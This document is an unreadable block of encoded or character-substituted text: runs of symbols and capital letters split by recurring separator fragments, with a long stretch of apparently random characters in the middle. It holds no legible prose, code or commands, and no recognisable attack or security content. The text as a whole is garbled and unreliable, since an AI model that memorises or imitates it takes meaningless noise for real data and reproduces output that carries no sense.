@K@7"\7T\@K@XD8E=D"@K@";;77[@K@XD8E=D"@K@)\ME"@K@CCZ@K@XD8^=!\!@K@	5<@K@;;W@K@"!D="@K@D7!!\@K@D\,;;P=!\@K@Q@K@EE\@K@	@K@==!"@K@";;77[@K@";;!@K@7!!P!\"@K@7!!P!\"@K@;;;@C*LB;;+BL@K@\M%E\K=\^!=@K@	XD8)M\8T77,\	M	DD	\M%E\K=\^!=O^M7""ODD@K@	)M\8T77,\	M	DD	\M%E\K=\^!=O^M7""ODD@K@	)M\8T77,\87EY7^\E	M	DD	\M%E\K=\^!=O^M7""ODD@K@";;)M\@K@O^M7""ODD@K@ODD@K@^M7""<\M%E\K=\^!=@K@D\,;;\DM7^\@K@	U"5U2'DD?2	@K@^M7""<;;K;;\M%E\K=\^!=;;B\7M@K@2DD<@K@;;"^;;E\@K@;;"^;;E\;;E@K@2DD<^M7""<\M%E\K=\^!=<\!\E"<;;K;;\M%E\K=\^!=;;B\7M<-@K@D=!\^!\E<)P^!=<=P!DP!'<77[<QE7!7<?<-@K@QE\<I<""\!'<QWALCA4#;;"^;;E\# <?<2<QWALCA4#;;"^;;E\# <<##6@K@)<'<QE\<II<##<<)P^!=;;\"!"'<#"^;;)T;;)M!\#<?<?<-@NKO@QE7!7<I<"^;;)T;;)M!\'<QE7!7/<QE\<?6@K@D7\!=P!DP!'<QE7!7<?6@K@XD;;@K@)T@K@=SG^7.3"!^9\[@K@";;77[@K@)M\"@K@7EE\E@K@^7,\E@K@!\\@K@";;77[@K@7T\@K@;;"^;;E\;;E@K@"!M\@K@";;"!,@K@"^@K@";;)M\@K@"P"!@K@TE@K@)P^!=;;\"!"@K@"^;;\^=Y\;;^\^S@K@"^@K@"^;;\^=Y\;;!=!!M\@K@\^=Y\@K@"=P^\;;\TD![@K@!T@K@"^;;\^=Y\;;^\^S@K@XD;;"\E;;\X;;P"\;;=!)^7!=;;!=;;7ET@K@;;;;\!P;;)7M"\@K@XD;;\X;;P"\;;=!)^7!=;;\T7M;;7ET@K@\T=Y\;;7^!=@K@\,"!\;;\X;;P"\@K@XD;;"\E;;\X;;P"\;;=!)^7!="@K@\E!;;P"\;;^\7!\E;;P"\@K@XD;;M=,@K@XD;;=!)[;;7ET;;\X;;M=,@K@XDE@K@^7D7M!\"@K@AKZ<PO1/<POP"\;;M=,/<POP"\;;D7""/<POP"\;;\T7M<%BL;@<@K@<P<B<*L<@K@<T<L<PO1<I<TOP"\;;E<VB<TOT\!7;;S\[<I<H"<C1<TOT\!7;;Y7MP\<A><H"@K@H7ET"!7!=H@K@!=@K@XD;;,\\7!\;;7P!;;^==S\@K@V;;\""=;;Z=S\"@K@";;77[@K@!T\@K@"\^P\;;7P!@K@7P!@K@KNB;;CNZ;;KLL>@NKO@CNZ;;KLL>@K@ALWW1;;;;KLL>@K@KLL>;;1L;@C@K@KLL>CZ@K@C1;@;;KLL>;;CZ@K@	XD87ET@K@ZBN@K@%CA@K@XD;;T7M@K@""P\E@K@)P^!=;;\"!"@K@,\!;;=D!=@K@P"\;;T\!7@K@"\""=;;!=S\"@K@^=P!@K@\D7!=@K@^=P!@K@,\!;;"!7^\@K@M=,,\E;;@K@ZBN@K@XD;;,\\7!\;;7P!;;^==S\@K@^==S\"@K@XD;;T7M@K@";;77[@K@P@K@D@K@";;=F\^!@K@7";;^7D@K@7ET"!7!=@K@^@K@!"@K@!T\@K@=@K@!\^\D!@K@";;77[@K@";;77[@K@M=,;;^)@K@	@K@D\,;;P=!\@K@478)8 -&/3RQ	@K@"P"!@K@ME@K@!M@K@..=9GEE(=@K@!T\@K@)P^!=;;\"!"@K@PDE7!\;;=D!=@K@!T\@K@";;"!,@K@E7T\@NKO@"^@K@)M\;;DP!;;^=!\!"@K@=@K@7!=T^;;=;;E<@K@7"\7T\@K@7!=T^;;7E;;DD<@K@";;)M\@K@7!=T^;;=;;!\TD7T<@K@"!M\@K@"^;;@K@X@K@)X!\@K@"P"!@K@)P^!=;;\"!"@K@)"[^@K@)M\;;DP!;;^=!\!"@K@7!=T^;;!\TD;;)7M<@K@7!=T^;;"=!;;X!\<@K@O"^=ME@K@)M\;;,\!;;^=!\!"@K@";;"!,@K@";;"!,@K@";;"!,@K@=@K@7!=T^;;\7T\;;)7M<@K@)M\;;,\!;;^=!\!"@K@TE@K@)P^!=;;\"!"@K@7";;)M\@K@";;"!,@K@";;"!,@K@"P"!@K@7!=T^;;Y\)[;;)7M<@K@";;"!,@K@7";;)M\@K@7!=T^;;!E;;D7![<@K@7"\7T\@K@)M\;;DP!;;^=!\!"@K@";;)M\@K@";;"!,@K@Y97))^M;;EP=MM""@K@)P^!=;;\"!"@K@"^;;DI@K@!T\@K@T!;;7E@K@!T\=P!@K@""MY\)[@K@\E\^!=@K@\7E\"@K@K7^\8K=!=M@NKO@=8^7^\@K@)P^!=;;\"!"@K@)P^!=;;\"!"@K@!T\=P!@K@";;XD;;\=@K@	U2);@=EPM\<T=E;;DD48O 5UO^U"5DD;;Y7MP\<7P!=;;D\D\E;;)M\4U 5@K@4U 5UU	);@=EPM\U2	@K@	U2);@=EPM\<M!\"D\\EU"5DD;;Y7MP\<7P!=;;D\D\E;;)M\4U 5@K@	U2DD;;Y7MP\<7P!=;;D\D\E;;)M\4U 5@K@4U 5U2	@K@)P^!=;;\"!"@K@=D^7^\;;,\!;;"!7!P"@K@=D^7^\;;\7M\E@K@X!\;;)7M\E<@K@X@K@7"\7T\@K@)M=^S@K@)X!\@K@)P^!=;;\"!"@K@"\!;;!7"\!@K@"^;;7ET;;!^S@K@"^;;7ET;;)M,!@K@"^;;7ET;;)M,!@K@,\!;;=D!=@K@)P^!=;;\"!"@K@P"\7T\;;\"!"@K@7ET;;!^S@K@,\!;;=D!=@K@)P^!=;;\"!"@K@P"\7T\;;\"!"@K@";;77[@K@\7TDM\O^=T@K@)P^!=;;\"!"@K@XD;;"\!;;D7""X=E@K@=@K@77[;;7E@K@7ET@K@^=MM"=@K@)P^!=;;\"!"@K@XD;;"\!;;P"\@K@)M\;;\"!"@K@XD8^MPE\"	P"\ODD@K@P"\;;M=,@K@P"\;;D7""@K@P"\;;\T7M@K@=M\@K@7ET"!7!=@K@E"DM7[;;7T\@K@=;;XDE@K@XD;;7";;D7""X=E@NKO@^P\!;;!T\@K@T["M@K@
8T8E<"@K@P"\;;M=,@K@P"\;;^\7T\@K@P"\;;\,"!\\E@K@P"\;;"!7!P"@K@H"@K@HE@K@"M;;"\!;;)7M@K@P"\;;E@K@T\!7;;S\[@K@T\!7;;Y7MP\@K@T\!7;;S\[@K@P"\;;M\Y\M@K@H"@K@H"@K@^M\7;;P"\;;^7^\@K@7ET@K@Y\)[;;)7M@K@)P^!=;;\"!"@K@,\!;;P"\;;[@K@M=,@K@P"\;;^7@K@^7D;;Y\)[;;)7M@K@XD;;E\M\!\;;P"\@K@CCZ@K@XD87ET	^MPE\"	P"\ODD@K@=@K@P\[;;X\\@K@"!D="@K@<C1<P"\;;M=,<I<0@K@E\;;@K@,\!;;=D!=@K@P@K@7MM@K@	U''UE?U?	@K@D\,;;\DM7^\@K@	U'UEU?	@K@E\;;^!@K@P@K@M=,;;;;=!;;@K@M=,;;;;=!;;@K@E\;;\"!@K@";;"!,@K@E7T\@K@E7T\@K@77[;;T\,\@K@";;77[@K@";;)M\@NKO@CZ%L;;:ZL@K@DD@K@,\!;;=D!=@K@"![M\"\\!@K@!\TDM7!\@K@V;;KLZZ;;1B@K@	!\T\"@K@XD8^=!\!	!\T\"@K@77[;;PP\@K@"!D="@K@OO@K@	D7!!\"@K@";;E@K@";;77[@K@"!M\@K@";;"!,@K@F\^!;;3@K@F\^!@K@	U@K@E7T\@K@	=T\@K@	Y7	XXX@K@	Y7	XXX	Y="!"@K@	Y7	XXX	!TM@K@	"Y	XXX@K@	"Y	P"\"@K@	P"	M=^7M	XXX@K@;;,\!@K@;;,\!@K@=D\;;7"\E@K@"!D="@K@!T@K@77[;;PP\@K@T^=!T\@K@	XD8^=!\!	TP8DMP,"@K@	XD8^=!\!	DMP,"@K@";;E@K@"!7MM\E@K@"^;;"D\7E;;!\Y7M@K@"D\7E@K@"^;;"D\7E;;@K@=;;==!"@K@	XD8^=!\!	DMP,"	@K@"^;;"D\7E;;!\Y7M@K@	XD8^=),ODD@K@	XD8^=),ODD@K@	E\)\U"5U'U"540# 1;;C;@40# U"5/U"540# '40# ?40# 	@K@	!7M\;;D\)U"5IU"540# '40# ?40# 	@K@	478 C88;; Q	@K@XDE@NKO@P\[@K@D\,;;T7!^@K@	478 C88;;Q8 Q	@K@7^!Y7!\@K@E;;7T\;;\F\^!\E@K@$O$@K@=D!="$@K@ZCBZ<ZBCCKZL@K@AKZ<=D!=;;Y7MP\<%BL;@<@K@<VB<=D!=;;7T\<I<@K@07^!Y\;;DMP,"0@K@<A;@Z<3<%LB<N1CZ@K@BLAACK>@K@BLAACK>@K@KL;@;@Z@K@1CZ<@K@<Z<=D!=;;Y7MP\<I<H"<VB<=D!=;;7T\<I<@K@7^!Y7!\@K@PDE7!\;;)7M@K@BLAACK>@K@";;=F\^!@K@XDE@K@";;=F\^!@K@)P^!=;;\"!"@K@, )M7!\@K@D+^PG%)YAWZ+E7)L+S7!A!*
3!%[Z+%",=V3(("CE!(PF;@^KJZ PP))^% 9[!+,Z;@[Z^S+ )^*+S&"	YW9KZ	J:AJE=KCP"3CM\ZG%"%M[+P,B*WYY:3\Z&	 [	*"X J7>EP^1!G(NXN;@T.PYX.BSJB&S
&	*.V+;@^TV^	XS"ZTX.XV.S\^BYF!1;@		 3\V	17XTJ=:T&3E=T%Y7.K(*,;@FE:P>Z,.1).MWE !JFGA9WT+N^P+ZF>+L\.T+:XLT[E*,	ZN&..Z*(*V.(7G%
C7XB=TN 7FKY9MS( A97P
P3"T33SG>.37).13Z(;@	[M
)(Y\	K(Z XKTVZ&\"PK7^!C	VSLDT
%TNA (.
PBX CFF9GY[ 1 D>"S9(Y\,\:&A+	K7L"ES[ENF.
)1;@AP!ALP
W(\[11!NP,MJN=37>TJYS.M.1 F*. 9!KMN)P9T3[=B
&33XFKKLPS[VK+D3SXY.ZCV1FKE:S+J,SC"[CA^NM,YL9S\&ZZ),;@
SVB*"W;@;@+,X73TW1AV1V)FNCVK1	:P!3^M>T:9EM	X=VA9,"NN"3!B*"NCDZKCGN&>
+D9GW&3)WK(DL+B
;@&\YLA">\. +=KZZS V!"PG(%	(GW.;@V"!B=>S	TJF	\XYYK
)>1("%&)\N:YV3"
LG)	,.X
33MDD	;@Y()+E>3KF7ZX!YD7:),J,\,E.
>T
E*1YKXN3%E;@,(E*:9(SLGV	^;@GCB"JAA3!	D:G+*\TZX.J%X;@)B
N9	*M9J(9N\9XS+Z\LPWSYZ;@9DSXA+D,1
%.KD:(X	
(	*KT* 
1YL 7D,DT!DTS	FTVBP9(+N^
*LC>PS.GE%(YLP!NSENX,SF:9>("+D)ZJ)793Y9Z+	C[9)FDS.[:
GKJVXSZMSXN*
TE(^1W*XL.[D!PBK=*SZS=ES9*L*>E^*ZY1ED MEZ,&GT	7GNXMJ,^3**"A"9S(Z,FE"!N:.DF%P 	)B W^^7P;@
A,\CMB%FW.>=W!*.+ZY*	&K9.V:+=YL&PBD
%+X1).;@3E"XA=E:
""G[DS1L)!P>:)G3	+AL+
A""73X
T	"M7SS> >"	*Z^B	,.(FP[;@>".A,ZA"\9C9L&F^EZWDDT
VT+PJB(;@TZ[CK7),%([+V3E.B
>7N9VMS[L>Y![[,GD\
G)=)MA"D%T;@3)Y7YM
VM\17. S7=TYYKFX	(	 G
;@>D>,[=F9M
JTC:TN)C".MCM1>,L7TZ=
73>T [">KDNFJ7).3+B7E;@3[M&FP&:1\&91%&B	
MMLSD9Z%1A7YC	JB9CTL(:::>"EDCF"+\Y7E)[JP(G%XAXYK;@[G!*9%7;@=GAMC(1(9;@MX7^;@GY9M^9	7EWG":Y[) Y)+MY^+;@3G&":A,;@&% (:%VD"%D+%Z>++7&PNC&Z)%"T;@V1,CL.7* G)&[LJL
"!S1YN:%^(W+.K:!X
%NN)9K	D*,>&CMMA>1Z(E CGA&P=)1&!^.N
Z&W9(K(M(\;@BW^KNC!=97"% DE&C1KC.MNY37\B!3,*\X	K=\TL=N.MK+PJ+W>F9M+*.,[T=A^1G7XZFCL)	%;@!^M(%SEGGX	M++MJ*.
"3,S[P;@7:XGL,*3:	+S3MAY3CY*&)""!\ A7\7Z))
M&>NV"
G1P
P% 3W"Z=L,*W=^+BM39KF+!.DE>3Z \(!:++[JL7MKAMDN1M(PT3E(ME;@J	AV N	 ^N!MW,^1K3N[	N*X["DX:
	GS=7>!L+F	F:.L7B	FXXM!
>+\J\
),DF.+)WT:)^))%WKAGY"PM+>%
MZZ!9:*>(;@SML +G=&=^D9VT;@M&PKF7SBT\^EZ7L%BKF
P%)>J[C;@%CLM\XEC;@W,A**\P[J91WD SJVF&,YZNWT;@Z[VP%L(DFN\EKD*A";@M.Y:W%=;@E
)(&ANAD>3XJT1B7(3;@
+(DLE	G.9[L,[NJE,LDK!A
W(:W(JV>9%:1 N	&ZL+[7"\(^,	L%V3J17JV;@9K(%N7P(&)=>DS[FTCM^;@!3EDFT:Z(D\L1EAX3%!)BZ7[M	(,VF))%S TP+;@J\*=\PX(\CM:;@ZY
=(Z[&.GDLDVCD3S)BFX)P;@^FF1
3FX&9VS3D^"+>([TK&:CJJ3.;@\PN\K>	^ZZGYX;@P7"ZZEL:J
M&TM	=[AY1*P)Z&^"*!;@JW,D79W	>DANT[VY=GCE,>NZ&P(XW,F9WVG,+^=AYFXII@K@";;"!,@K@ D@K@O D@K@"!@K@^=!\!;;PM@K@	XD8^=!\!@K@!!D		@K@!!D"		@K@"!D="@K@M!T@K@2DI@K@	2DI@K@"!@K@D\,;;\DM7^\@K@!!D"2		@K@";;"!,@K@"^;;"X@K@"!M\@K@"!M\@K@=@K@D7"\;;PM@K@"P"!@K@^=!7^!"@K@D^"@NKO@7ET7"\@K@ DNM@K@"MP,@K@"!7MM\NM@K@X!\>\[@K@XS@K@D7,\K=E\@K@"Y;;S\[@K@";;"!,@K@"!M\@K@F"=;;\^=E\@K@Y7<;;;;K;;LLZI*LOD7"\'7!='#@K@F"=;;\^=E\@K@#??6@K@Y7<;;;;K;;KI#@K@#6@K@"X;;^=),@K@"X;;^=),;;",@K@TE@K@"X@K@	2DI@K@"X@K@"!D="@K@M!T@K@"X;;PM@K@=@K@"X;;^7^\E@K@";;E@K@"!;;!DM@K@"X@K@"!;;!DM;;T"",@K@"X;;"!@K@,\!;;!7"\!@K@";;77[@K@";;77[@K@"!M\@K@"!M\@K@CCZ@K@"!;;\D\7!@K@"^;;"X@K@"^;;"X@K@"!M\@K@";;"!,@K@D7,\;;^7^\E@K@	7EY7^\E8^7^\ODD@K@ M,TDE^PXX&F 97=S3!@K@)M\;;\"!"@K@"X;;"\!PD@K@DD;;"7D;;7T\@K@;;,\!@NKO@'=\?@K@"!@K@ODD@K@	O@K@"^;;;;E\7E@K@	U@K@";;)M\@K@)M\;;,\!;;^=!\!"@K@D\,;;\DM7^\@K@	U27P!=;;D\D\E;;)M\U"5IU"54#0 24#0UU 5@K@D\,;;P=!\@K@4#0UU 54#0 2U2U2	@K@O"^;;@K@V;;KLZZ;;1B@K@@K@P;;!DM;;T"",@K@TE@K@	U@K@)M\;;,\!;;^=!\!"@K@";;"!,@K@	7P!=;;D\D\E;;)M\U"5IU"5'4#0 2?'4#0UU ?U3	@K@=\@K@![-_^MPE\;;=^\<@K@Y7;;\D=!@K@6R^7!^'UZ=X7M\<Q\?-R^7!^'U^\D!=<Q\?-R<@K@Q;;"^DIE7T\';;;;%A;;;;?O#	O@K@)'_";;)M\'Q;;"^D??-Q;;"^^I_)M\;;,\!;;^=!\!"'Q;;"^D?6)'";;"!,'Q;;"^^??-@K@)'"!M\'Q;;"^^?3G.9&?Q;;"^^ID\,;;\DM7^\'0	'UU	U54878) -3/RU5U	?Q	0/00/Q;;"^^?6@K@)'";;"!,'Q;;"^^?TE'Q;;"^^?III0@K@0?-![-_^MPE\;;=^\<Q;;"^D6R^7!^'UZ=X7M\<Q\?-R^7!^'U^\D!=<Q\?-RRP"\!'Q;;"^^?6RRP"\!'Q;;"^D?6@K@)M\;;,\!;;^=!\!"@K@TE@K@;;X7D@K@)M\;;,\!;;^=!\!"@K@";;)M\@K@"^;;;;)7M@K@"^;;;;E\7E@K@@K@^^P!;;=D\@K@)M\T!T\@K@)M\;;\"!"@K@";;"!,@K@\7E;;)7M\E@K@"!D="@K@!T@K@7P!=;;D\D\E;;)M\<I<#@K@"^;;;;D\E,@K@"^;;;;)7M@K@=@K@"^;;;;E\7E@NKO@D=\;;@K@"^;;;;)7M@K@@K@K;;Z;;B@K@"^;;;;D\E,@K@)P^!=;;\"!"@K@;;,\!@K@;;,\!@K@P"\;;O^7^\;;!!M@K@=@K@"^;;;;)7M@K@"^;;;;D\E,@K@=@K@D=\;;E\7E@K@	O!7^^\""@K@LD!="<8E\\"@K@%M\";@7!^<#UO' D]M=,]"M?Q#@K@);@=EPM\<T=E;;7P! ;;^=\O^@K@B\P\<7MM<E\\E@K@	);@=EPM\@K@);@=EPM\<T=E;;7P! ;;^=\O^@K@1\[<)=T<7MM@K@	%M\";@7!^@K@)M\;;\"!"@K@)M\;;,\!;;^=!\!"@K@!@K@ODD@K@!;;!DM@K@"^;;M7"!;;)\!^;;!"@K@!@K@!;;!DM;;T"",@K@O!7^^\""@K@	O!7^^\""@K@;;,\!@K@P"\;;O)M\7T\@K@";;)M\@K@";;"!,@K@	7P!=;;D\D\E;;)M\U"5'2I]U"?U"5'4#0 2?'4#0UU ?U3	@K@D\,;;\DM7^\@K@	U2DD	@K@2DD<![-_^MPE\;;=^\<@K@6R^7!^'UZ=X7M\<Q\?-R^7!^'U^\D!=<Q\?-R@K@D^\;;)7M@K@O!7^^\""@K@	O!7^^\""@K@"^;;!;;E\7E@K@!T\@K@";;"!,@K@!;;M=7E\@K@)M\;;,\!;;^=!\!"@NKO@"^;;!;;)7M@K@=@K@^^P!;;=D\@K@DD;;Y7MP\<7P!=;;D\D\E;;)M\@K@)M\;;\"!"@K@)M=^S@K@)P^!=;;\"!"@K@)M=^S@K@";;)M\@K@)M=^S@K@<#@K@<#@K@<#@K@)P^!=;;\"!"@K@^=P!@K@=@K@"^;;!;;E\7E@K@"^;;!;;E\7E@K@CCZ@K@)P^!=;;\"!"@K@=D!@K@PDE7!\;;=D!=@K@1;;LZ@K@1;;NB@K@1;;CVLB1@K@^M7"";;\"!"@K@T["M@K@1;;NB@K@1;;CVLB1@K@1;;C;@@K@T["M<@K@=D!@K@=^@K@	OXD8=F\^!8^7^\8@K@OE7!@K@)M\" \@K@)M\;;,\!;;^=!\!"@K@^=P!@K@K13@K@PD7^S@K@, E\^=E\@K@"!M\@K@"!M\@K@TE@K@";;"!,@K@	U2DDU"5	@K@=^;;T@K@	5<K;;LK;;W@K@<5	@K@	5<K;;LK;;1@NKO@2DD<	5<OXD8=F\^!8^7^\8@K@<5	<	5<KLK+@K@^77[;;7T;;)7M@K@K;;LK;;W@K@"!D="@K@OXD8=F\^!8^7^\8@K@	KLK+'UEUOUEUOUE?	@K@I@K@	U2U	U5<K;;LK;;W'478 C88O;; 5@K@?<U5U	O52U	U5<K;;LK;;1U3<U5U	U2	"@K@D^\;;)7M@K@=^@K@\";;^7D@K@^77[;;7T;;)7M@K@	5<OXD8=F\^!8^7^\8@K@CCZ@K@)M\;;,\!;;^=!\!"@K@	K13'UEUOUEUOUE?	@K@"^;;=^;;E7!;;=S@K@"^;;=^;;E7!;;=S@K@E7!;;^=PD!@K@";;"!,@K@K13@K@TE@K@)!=S@K@XD8^=),ODD@K@)!=S@K@"T=D;;=D\@K@)!=S@K@7"@K@7"@K@"7&@K@TE@K@K;@3@K@"!M\@K@"T=D;;" \@K@"T=D;;\7E@K@";;"!,@K@"!D="@K@"T=D;;^M="\@K@"T=D;;X!\@K@"!;;D7E@K@"T=D@K@"T=D;;E\M\!\@K@"T=D;;=D\@K@"!;;D7E@K@";;"!,@K@	U2DD	@K@"P"!@K@	U"5'E\^M7\U"5U'O52U?U"56]7T\"D7^\U"46- U"56?	"@NKO@"P"!@K@"P"!@K@2DD<@K@)P^!=;;\"!"@K@"^;;\";;@K@"!D="@K@,\!;;=D!=@K@)P^!=;;\"!"@K@PDE7!\;;=D!=@K@";;"!,@K@\DM=E\@K@E=D@K@!P,;;=);;X7<@K@7"\7T\@K@ODD@K@ D@K@)!=S@K@!Y7M@K@K;;C1+A;;@K@7EY@K@7EY;;!DM;;T"",@K@)M\;;,\!;;^=!\!"@K@";;"!,@K@7EY@K@7EY;;T@K@	5<K;;C1+;;W@K@	5<K;;C1+;;1@K@<5	@K@D\,;;\DM7^\@K@	U	U5<K;;C1+;;W'478 C88O;; 5@K@?<U5U	O52U	U5<K;;C1+;;1U3<U5U		"@K@K;;C1+;;ALC11@K@"!D="@K@"!D="@K@D\,;;\DM7^\@K@	4<U! 5)U"5U'U"5E\)\EU"5U'U"54#0 K;;C1+;;ALC114#0 U"5U?U"5U?U"5\!PU"564UU 5	@K@7EY@K@D\,;;\DM7^\@K@7EY@K@7EY@K@7EY@K@^77[;;7T;;)7M@K@BJNZ;;;@ZL1@K@"^;;,P7E@K@";;X!7M\@K@XD8^MPE\"@K@O,;;@K@	O,M;;@K@	O,;;@K@)M\T!T\@NKO@!T\@K@!T\@K@	O,;;@K@XD8^MPE\"	@K@!T\@K@	O,Y;;@K@)M\;;,\!;;^=!\!"@K@D\,;;T7!^@K@	UEUOUEUOUEQ	@K@	O,";;@K@!T\@K@,P7E@K@\7D;;"P"D\^!\E@K@!T\@K@=;;"!7!P"@K@ODD@K@";;X!7M\@K@V;@N;;ANW;;1B@K@	DMP,"@K@V;;KLZZ;;1B@K@,P7E@K@7"\&G;;\^=E\@K@7"\&G;;\^=E\@K@7"\&G;;\^=E\@K@7"\&G;;\^=E\@K@7"\&G;;\^=E\@K@7"\7T\@K@"^;;M7"!;;)\!^;;!"@K@,P7E@K@,P7E;;!DM;;T"",@K@,P7E;;!DM;;Y7ME@K@	O,T;;@K@TE@K@	O,Y;;@K@,P7E@K@"P"!;;^=P!@K@"!M\@K@"!M\@K@";;"!,@K@"!M\@K@E"S;;)\\;;"D7^\@K@"^;;D7E;;=));;!"@K@!T\@K@!T\@K@"!M\@K@"P"!@K@2@K@7E=T;;[!\"@K@\@K@"!M\@NKO@5	@K@";;"!,@K@	'U2UU	U54878) -3/RU5U	?Q	@K@";;"!,@K@)P^!=;;\"!"@K@,\!;;=D!=@K@";;"!,@K@";;)M\@K@"^;;=X;;T@K@"^;;=X;;T@K@"^;;=X;;T7)\"!@K@";;77[@K@)M\;;,\!;;^=!\!"@K@TE@K@"^;;=X;;T7)\"!@K@"^;;=X;;T@K@)P^!=;;\"!"@K@"^;;=X;;T7)\"!@K@TE@K@T=E)\E@K@)M\;;,\!;;^=!\!"@K@D\,;;T7!^@K@M\,7^[@K@"!M\@K@"P"!@K@	=X;;@K@=X@K@ODD@K@)P^!=;;\"!"@K@"^;;=X;;\^@K@";;77[@K@"P"!@K@\@K@\@K@"!7!,@K@=S@K@"!7!\@K@==!;;!"@K@==!;;!"@K@,\@K@"!7!;;!"@K@BJNZ;;Z;@@K@"^;;=X;;\^@K@=@K@";;77[@K@D7!@K@";;"!,@K@D7!@K@";;)M\@K@)M\" \@NKO@==!;;!"@K@=S@K@PS=X@K@)7M@K@E\7E@K@PS=X@K@)M\" \@K@)M\;;,\!;;^=!\!"@K@";;"!,@K@	'U	U54878) -3/RU5U	?U"5Q	@K@)M\;;,\!;;^=!\!"@K@ODD@K@	O;;@K@";;)M\@K@)M\T!T\@K@TE@K@PDE7!\;;=D!=@K@"^;;E\)\\E;;E\M@K@77[;;"M^\@K@OMS,@K@OMS,@K@^=D[@K@OMS,@K@";;"!,@K@D\,;;T7!^;;7MM@K@	7"\&G;;E\^=E\U'U"50'4C878 8U	I -3/R?0U"5U?	@K@D\,;;T7!^;;7MM@K@	'2, E\^=E\], )M7!\], P^=TD\""?U'U"5#''24#UU 5'2UUO4#UU 5?5??#	"@K@U@K@	UU'4878)C8% -R?	@K@!ST X,T)X3;;S .GE@K@	'2, E\^=E\], )M7!\], P^=TD\""?U'U"50''240UU 5'2UUO40UU 5?5??0	"@K@"!;;\DM7^\@K@UU@K@U0@K@";;"!,@K@, @K@"!D="@K@"!D="@K@D\,;;T7!^;;7MM@K@"!D="@K@";;"!,@K@";;"!,@K@	U	U5<K+'UEUOUEUOUE?<U5U		@K@"P"!@K@";;"!,@K@	5<@K@	478 C88O;; Q	@K@"P"!@K@	5<@NKO@;;1@K@"!M\@K@!;;T@K@	U	U5<K;;Z;;W478 C88O;; 5@K@<U5U		@K@";;"!,@K@K;;Z@K@ 3X&9!\P7M^ED[ @K@K;;11@K@PSF[X&&"F .@K@";;"!,@K@	U	U	K;;Z;;A1;;478)8;; U2U4U 5Q	@K@,&"9TFM^E"P(3(F.@K@K;;11@K@";;"!,@K@!;;T@K@	U	U5<K;;Z;;W'478 C88O;; ?<U5U		@K@EE@K@	U	U5<K;;11;;W'478 C88O;; ?<U5U		@K@"^;;^@K@"^;;^77[@K@";;77[@K@"^;;^@K@7";;\P7M"@K@88@K@)P^!=;;\"!"@K@ME@K@!T\@K@)P^!=;;\"!"@K@!\T"@K@!\"@K@!T\@K@!\"@K@!\T"@K@^77[@K@7S;;X!\;;)7M@K@	!;;@K@O7S@K@7S;;X!\;;)7M@K@!T\@K@!\"@K@^=P!@K@!\T"@K@"^;;^77[@K@P[^S=7;;=E[G3@K@XD;;\T=!\;;,\!@K@\E\^!=@K@=8"!=\/<=8^7^\@K@7,T7@K@)P^!=;;\"!"@NKO@";;XD;;\=@K@XD;;\T=!\;;\!\Y\;;\"D="\;;^=E\@K@)P^!=;;\"!"@K@XD;;\T=!\;;\!\Y\;;=E[@K@)M\;;,\!;;^=!\!"@K@";;)M\@K@,\!;;=D!=@K@!\T"@K@!"@K@)7"!^,;;)";;\P\"!@K@M!\"D\\E;;)";;\P\"!@K@M!\"D\\E;;)";;\P\"!@K@,=\;;P"\;;7=!@K@,=\;;P"\;;7=!@K@XD;;\T=!\;;,\!@K@XD8M=,ODD@K@!T\@K@PY\)\E;;S\\D<@K@2"^;;^I@K@7XPM\^=E\@K@;;I@K@)P^!=;;\"!"@K@=MM7^S;;<@K@!\T"@K@"!D="@K@88K>@K@88@K@"!D="@K@"^;;^I@K@=MM7^S;;M=,<@K@!\T"@K@ME]@K@!T\@K@M;;ME@K@!\T"@K@";;"!,@K@"!D="@K@"^;;M;;T=E\@K@=S]@K@=@K@";;"!,@K@"!D="@K@;;"^;;)7T@K@K;;Z;;W@K@O"E;;@K@K;@3@K@K+@K@	K;;'21]C1+]LK?;;W'UEUOUEUOUE?	@K@"X\\D@K@\P!7M \;;)=\,;;"SD<@NKO@)M\;;DP!;;^=!\!"@K@)M\;;,\!;;^=!\!"@K@"!M\@K@D\,;;\DM7^\@K@	4<U! 5U	U5<K;;'1]C1+]LK?;;W'478 C88O;; ?<U5U	O52U	U5<K;;U3;;1U<U5U	4<U! 5U2U2	"@K@";;"!,@K@)M\T!T\@K@"^E@K@=D^7^\;;Y7ME7!\@K@";;"!,@K@	";;)M\U'U"50'40 ?0U"5U?	@K@";;"!,@K@CCZ@K@E7T\@K@EE;;)=\,;;"SD<@K@"\Y\;;S\[@K@T=^SY>\[8@K@CCZ@K@	XD8^=),ODD@K@";;)M\@K@";;)M\@K@";;X!7M\@K@\7MD7!@K@";;X!7M\@K@)M\" \@K@)M\;;,\!;;^=!\!"@K@";;"!,@K@V;;K=\;;!\,![@K@	!TD	DD@K@"!D="@K@V;;Z;@;;1B@K@"^;;!TD;;)\E@K@"[";;,\!;;!\TD;;E@K@"[";;,\!;;!\TD;;E@K@	!TD@K@";;E@K@";;X!7M\@K@	E\)\U"5U'U"540# V;;KCK40# 	@K@)M\;;,\!;;^=!\!"@K@K;;C1+;;W@K@"!D="@K@	E\)\U"5U'U"540# CCZ40# 4U 5UE\)\U'<0V;;KCK0/<!P\<U?6U	@K@	E\)\U"5U'U"540# V;;1NW40# U"5/U"5!P\U"5U?	@K@	E\)\U"5U'U"540# V;;1NW;;ALW40# U"5/U"5!P\U"5U?	@K@D\,;;T7!^@K@	E\)\U"5U'U"540# V;;1NW;;1AC
40# U"5/U"5)7M"\U"5U?	@K@	4<U! 5U	U5<V;;K=\;;!\,![<'478)8 ?<U5U	O52U	U5<E8V;;K=\;;!\,![<U3<U5U	4<U! 5U2U2	"@K@TDM=E\@K@	4<U! 5U	U5<V;;K=\;;!\,![<'478)8 ?<U5U	O52U	U5<E8V;;K=\;;!\,![<U3<U5U	4<U! 5U2U2	"@K@D\,;;T7!^;;7MM@NKO@	4<U! 5)U"5U'U"52U"5)M\;;\"!"U'U"50U	!TDU	DD4C878 8 04U 5U'4<U! 5)U"5U'U"5UQ;;=4U 5U?2	T@K@D\,;;\DM7^\@K@	E\)\U"5U'U"540# CCZ40# 4U 5U	@K@	'E\)\U"5U'U"540# CCZ40# 4U 5U?	@K@Q3@K@";;"!,@K@D\,;;T7!^@K@D\,;;\DM7^\@K@	'E\)\U"5U'U"540# CCZ40# 4U 5U?	@K@Q3@K@D\,;;\DM7^\@K@	'E\)\U"5U'U"540# CCZ40# 4U 5U?E\)\U'<0V;;KCK0/<!P\<U?6U	@K@	4<U! 5E\)\U"5U'U"540# V;;1NW';;ALW];;1AC
